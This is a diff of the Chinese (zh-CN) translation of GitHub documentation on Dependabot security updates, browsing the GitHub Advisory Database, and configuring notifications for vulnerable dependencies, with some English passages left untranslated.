-{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)."
+{% data variables.product.prodname_dependabot %} 将检查是否可以在不破坏仓库依赖关系图的情况下将有漏洞依赖项升级到已修复版本。 然后，{% data variables.product.prodname_dependabot %} 提出拉取请求以将依赖项更新到包含补丁的最低版本，并将拉取请求链接到 {% data variables.product.prodname_dependabot %} 警报，或者在警报中报告错误。 更多信息请参阅“[排查 {% data variables.product.prodname_dependabot %} 错误](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)”。
 
 {% note %}
 
-**Note**
+**注**
 
-The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency that is not explicitly defined. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)."
+{% data variables.product.prodname_dependabot_security_updates %} 功能适用于已启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %} 的仓库。 您将在完整的依赖关系图中看到针对已发现的每个有漏洞依赖项的 {% data variables.product.prodname_dependabot %} 警报。 但是，安全更新仅针对清单或锁定文件中指定的依赖项而触发。 {% data variables.product.prodname_dependabot %} 无法更新未明确定义的间接或过渡依赖项。 更多信息请参阅“[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)”。
 
 {% endnote %}
 
-You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+您可以启用相关功能 {% data variables.product.prodname_dependabot_version_updates %}，这样无论 {% data variables.product.prodname_dependabot %} 是否检测到过期的依赖项，都可以提出拉取请求，以将清单更新到依赖项的最新版本。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot %} 版本更新](/github/administering-a-repository/about-dependabot-version-updates)”。
 
 {% data reusables.dependabot.pull-request-security-vs-version-updates %}
 
-## About pull requests for security updates
+## 关于安全更新的拉取请求
 
-Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository.
+每个拉取请求都包含快速、安全地查看提议的修复程序并将其合并到项目中所需的全部内容。 这包括漏洞的相关信息，如发行说明、变更日志条目和提交详细信息。 无法访问仓库的 {% data variables.product.prodname_dependabot_alerts %} 的任何人都看不到拉取请求所解决的漏洞详细信息。
 
-When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)."
+当您合并包含安全更新的拉取请求时，仓库的相应 {% data variables.product.prodname_dependabot %} 警报将被标记为已解决。 有关 {% data variables.product.prodname_dependabot %} 拉取请求的更多信息，请参阅“[管理依赖项更新的拉取请求](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)”。
 
 {% data reusables.dependabot.automated-tests-note %}
 
 {% ifversion fpt or ghec %}
 
-## About compatibility scores
+## 关于兼容性分数
 
-{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency.
+{% data variables.product.prodname_dependabot_security_updates %} 可能包括兼容性分数，以便您了解更新依赖项是否可能导致对项目的重大更改。 这些分数是根据已生成相同安全更新的其他公共仓库中的 CI 测试计算的。 更新的兼容性分数是在依赖项的特定版本之间进行更新时，CI 运行被视为通过的百分比。
 
 {% endif %}
 
-## About notifications for {% data variables.product.prodname_dependabot %} security updates
+## 关于 {% data variables.product.prodname_dependabot %} 安全更新通知
 
-You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+您可以在 {% data variables.product.company_short %} 上过滤通知以显示 {% data variables.product.prodname_dependabot %} 安全更新。 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)”。
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
index 34a478356c..5e31410c34 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
@@ -1,7 +1,7 @@
 ---
-title: Browsing security vulnerabilities in the GitHub Advisory Database
-intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects  on {% data variables.product.company_short %}.'
-shortTitle: Browse Advisory Database
+title: 浏览 GitHub Advisory Database 中的安全漏洞
+intro: '{% data variables.product.prodname_advisory_database %} 允许您浏览或搜索影响 {% data variables.product.company_short %} 上开源项目的漏洞。'
+shortTitle: 浏览公告数据库
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database
@@ -17,13 +17,14 @@ topics:
   - Vulnerabilities
   - CVEs
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "Browsing security vulnerabilities in the GitHub Advisory Database".-->
 
-## About security vulnerabilities
+## 关于安全漏洞
 
 {% data reusables.repositories.a-vulnerability-is %}
 
-## About the {% data variables.product.prodname_advisory_database %}
+## 关于 {% data variables.product.prodname_advisory_database %}
 
 The {% data variables.product.prodname_advisory_database %} contains a list of known security vulnerabilities, grouped in two categories: {% data variables.product.company_short %}-reviewed advisories and unreviewed advisories.
 
@@ -35,85 +36,82 @@ The {% data variables.product.prodname_advisory_database %} contains a list of k
 
 We carefully review each advisory for validity. Each {% data variables.product.company_short %}-reviewed advisory has a full description, and contains both ecosystem and package information.
 
-If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory affects packages you depend on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory affects packages you depend on. 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。
 
 ### About unreviewed advisories
 
-Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed. 
+Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed.
 
 {% data variables.product.prodname_dependabot %} doesn't create {% data variables.product.prodname_dependabot_alerts %} for unreviewed advisories as this type of advisory isn't checked for validity or completion.
 
 ## About security advisories
 
-Each security advisory contains information about the vulnerability, which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology.
+Each security advisory contains information about the vulnerability, which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. 此外，国家漏洞数据库列表中的公告包含 CVE 记录链接，通过链接可以查看漏洞、其 CVSS 得分及其质化严重等级的更多详细信息。 更多信息请参阅国家标准和技术研究所 (National Institute of Standards and Technology) 的“[国家漏洞数据库](https://nvd.nist.gov/)”。
 
-The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)."
-- Low
-- Medium/Moderate
-- High
-- Critical
+我们在[常见漏洞评分系统 (CVSS) 第 5 节](https://www.first.org/cvss/specification-document)中定义了以下四种可能的严重性等级。
+- 低
+- 中
+- 高
+- 关键
 
-The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1.
+{% data variables.product.prodname_advisory_database %} 使用上述 CVSS 级别。 如果 {% data variables.product.company_short %} 获取 CVE，{% data variables.product.prodname_advisory_database %} 将使用 CVSS 版本 3.1。 如果 CVE 是导入的，则 {% data variables.product.prodname_advisory_database %} 支持 CVSS 版本 3.0 和 3.1。
 
 {% data reusables.repositories.github-security-lab %}
 
-## Accessing an advisory in the {% data variables.product.prodname_advisory_database %}
+## 访问 {% data variables.product.prodname_advisory_database %} 中的通告
 
-1. Navigate to https://github.com/advisories.
-2. Optionally, to filter the list, use any of the drop-down menus.
-  ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png)
+1. 导航到 https://github.com/advisories。
+2. （可选）要过滤列表，请使用任意下拉菜单。 ![下拉过滤器](/assets/images/help/security/advisory-database-dropdown-filters.png)
    {% tip %}
 
    **Tip:** You can use the sidebar on the left to explore  {% data variables.product.company_short %}-reviewed and unreviewed advisories separately.
 
    {% endtip %}
-3. Click on any advisory to view details.
+3. 单击任何通告以查看详情。
 
 {% note %}
 
-The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)."
+也可以使用 GraphQL API 访问数据库。 更多信息请参阅“[`security_advisory` web 挂钩事件](/webhooks/event-payloads/#security_advisory)”。
 
 {% endnote %}
 
-## Searching the {% data variables.product.prodname_advisory_database %}
+## 搜索 {% data variables.product.prodname_advisory_database %}
 
-You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library.
+您可以搜索数据库，并使用限定符缩小搜索范围。 例如，您可以搜索在特定日期、特定生态系统或特定库中创建的通告。
 
 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example |
-| ------------- | ------------- |
-| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) will show {% data variables.product.company_short %}-reviewed advisories. |
-| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) will show unreviewed advisories. |
-| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. |
-| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. |
-| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. |
-| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. |
-| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. |
-| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. |
-| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. |
-| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. |
-| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. |
-| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. |
-| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. |
-| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. |
-| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. |
-| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. |
+| 限定符                   | 示例                                                                                                                                                          |
+| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:reviewed`       | [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) will show {% data variables.product.company_short %}-reviewed advisories.          |
+| `type:unreviewed`     | [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) will show unreviewed advisories.                                               |
+| `GHSA-ID`             | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) 将显示使用此 {% data variables.product.prodname_advisory_database %} ID 的通告。 |
+| `CVE-ID`              | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) 将显示使用此 CVE ID 号的通告。                                                                |
+| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) 只显示影响 NPM 包的通告。                                                     |
+| `severity:LEVEL`      | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) 只显示严重程度高的公告。                                                        |
+| `affects:LIBRARY`     | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) 只显示影响 lodash 库的通告。                                                |
+| `cwe:ID`              | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) 将只显示使用此 CWE 编号的通告。                                                                             |
+| `credit:USERNAME`     | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) 将只显示计入“octocat”用户帐户的通告。                                                          |
+| `sort:created-asc`    | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) 按照时间顺序对通告排序，最早的通告排在最前面。                                       |
+| `sort:created-desc`   | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) 按照时间顺序对通告排序，最新的通告排在最前面。                                     |
+| `sort:updated-asc`    | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) 按照更新顺序排序，最早更新的排在最前面。                                          |
+| `sort:updated-desc`   | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) 按照更新顺序排序，最近更新的排在最前面。                                        |
+| `is:withdrawn`        | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) 只显示已经撤销的通告。                                                           |
+| `created:YYYY-MM-DD`  | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) 只显示此日期创建的通告。                                              |
+| `updated:YYYY-MM-DD`  | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) 只显示此日期更新的通告。                                              |
 
-## Viewing your vulnerable repositories
+## 查看有漏洞的仓库
 
-For any {% data variables.product.company_short %}-reviewed advisory in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories are affected by that security vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)."
+For any {% data variables.product.company_short %}-reviewed advisory in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories are affected by that security vulnerability. 要查看有漏洞的仓库，您必须有权访问该仓库的 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)”。
 
-1. Navigate to https://github.com/advisories.
-2. Click an advisory.
-3. At the top of the advisory page, click **Dependabot alerts**.
-   ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png)
-4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user).
-   ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
-5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name.
+1. 导航到 https://github.com/advisories。
+2. 单击通告。
+3. 在通告页面的顶部，单击 **Dependabot alerts（Dependabot 警报）**。 ![Dependabot 警报](/assets/images/help/security/advisory-database-dependabot-alerts.png)
+4. （可选）要过滤列表，请使用搜索栏或下拉菜单。 “Organization（组织）”下拉菜单用于按所有者（组织或用户）过滤 {% data variables.product.prodname_dependabot_alerts %}。 ![用于过滤警报的搜索栏和下拉菜单](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
+5. 有关漏洞的更多详细信息，以及有关如何修复有漏洞的仓库的建议，请单击仓库名称。
 
-## Further reading
+## 延伸阅读
 
-- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability)
+- MITRE 的[“漏洞”定义](https://cve.mitre.org/about/terminology.html#vulnerability)
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
index f0d3791232..accfe0d420 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring notifications for vulnerable dependencies
-shortTitle: Configuring notifications
+title: 配置有漏洞依赖项的通知
+shortTitle: 配置通知
 intro: 'Optimize how you receive notifications about  {% data variables.product.prodname_dependabot_alerts %}.'
 redirect_from:
   - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies
@@ -19,48 +19,49 @@ topics:
   - Dependencies
   - Repositories
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/managing-security-vulnerabilities-->
 
-## About notifications for vulnerable dependencies
+## 关于有漏洞依赖项的通知
 
-When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability.
-{% endif %} 
+当 {% data variables.product.prodname_dependabot %} 在您的仓库中检测到有漏洞依赖项时，我们将生成 {% data variables.product.prodname_dependabot %} 警报，并将其显示在仓库的“Security（安全）”选项卡中。 {% data variables.product.product_name %} 根据通知首选项将新警报通知受影响仓库的维护员。{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} 在所有公共仓库上默认启用。 对于 {% data variables.product.prodname_dependabot_alerts %}，默认情况下，您将通过电子邮件收到按特定漏洞分组的 {% data variables.product.prodname_dependabot_alerts %}。
+{% endif %}
 
-{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)."
+{% ifversion fpt or ghec %}如果您是组织所有者，您可以对组织中的所有仓库一键启用或禁用 {% data variables.product.prodname_dependabot_alerts %}。 您也可以设置是否对新建的仓库启用或禁用有漏洞依赖项检测。 更多信息请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)”。
 {% endif %}
 
 {% ifversion ghes or ghae-issue-4864 %}
-By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email.
+默认情况下，如果您的企业所有者已配置电子邮件以获取有关企业的通知，您将收到 {% data variables.product.prodname_dependabot_alerts %} 电子邮件。
 
-Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
+企业所有者也可以在没有通知的情况下启用 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[在企业帐户上启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)”。
 {% endif %}
 
-## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}
+## 配置 {% data variables.product.prodname_dependabot_alerts %} 的通知
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+当检测到新的 {% data variables.product.prodname_dependabot %} 警报时，{% data variables.product.product_name %} 根据通知偏好通知所有能够访问仓库的 {% data variables.product.prodname_dependabot_alerts %} 的用户。 如果您正在关注该仓库、已对仓库上的安全警报或所有活动启用通知，并且没有忽略该仓库，您将收到警报。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)”。
 {% endif %}
 
-You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+您可以从每个页面顶部显示的管理通知下拉菜单 {% octicon "bell" aria-label="The notifications bell" %} 为您自己或您的组织配置通知设置。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)”。
 
 {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
 {% data reusables.notifications.vulnerable-dependency-notification-options %}
 
-  ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
+  ![{% data variables.product.prodname_dependabot_alerts %} 选项](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
 
 {% note %}
 
-**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)”。
 
 {% endnote %}
 
-{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+{% data reusables.repositories.security-alerts-x-github-severity %} 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)”。
 
-## How to reduce the noise from notifications for vulnerable dependencies
+## 如何减少有漏洞依赖项通知的干扰
 
-If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)."
+如果您想要收到太多 {% data variables.product.prodname_dependabot_alerts %} 的通知，我们建议您选择加入每周的电子邮件摘要，或者在保持 {% data variables.product.prodname_dependabot_alerts %} 启用时关闭通知。 您仍可导航到仓库的 Security（安全性）选项卡查看 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[查看和更新仓库中的漏洞依赖项](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
-- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
+- "[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
+- “[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)”。
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
index 067cab1c4a..d406465ced 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing vulnerabilities in your project's dependencies
+title: 管理项目依赖项中的漏洞
 intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.'
 redirect_from:
   - /articles/updating-your-project-s-dependencies
@@ -30,6 +30,6 @@ children:
   - /viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /troubleshooting-the-detection-of-vulnerable-dependencies
   - /troubleshooting-dependabot-errors
-shortTitle: Fix vulnerable dependencies
+shortTitle: 修复有漏洞的依赖项
 ---
 
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
index c2a6b0c128..5cc2ff8d17 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
@@ -1,12 +1,12 @@
 ---
-title: Viewing and updating vulnerable dependencies in your repository
-intro: 'If {% data variables.product.product_name %} discovers vulnerable dependencies in your project, you can view them on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the vulnerability.'
+title: 查看和更新仓库中有漏洞的依赖项
+intro: '如果 {% data variables.product.product_name %} 发现项目中存在有漏洞的依赖项，您可以在仓库的 Dependabot 警报选项卡中查看它们。 然后，您可以更新项目以解决或忽略漏洞。'
 redirect_from:
   - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository
 permissions: Repository administrators and organization owners can view and update dependencies.
-shortTitle: View vulnerable dependencies
+shortTitle: 查看有漏洞的依赖项
 versions:
   fpt: '*'
   ghes: '*'
@@ -25,60 +25,53 @@ topics:
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
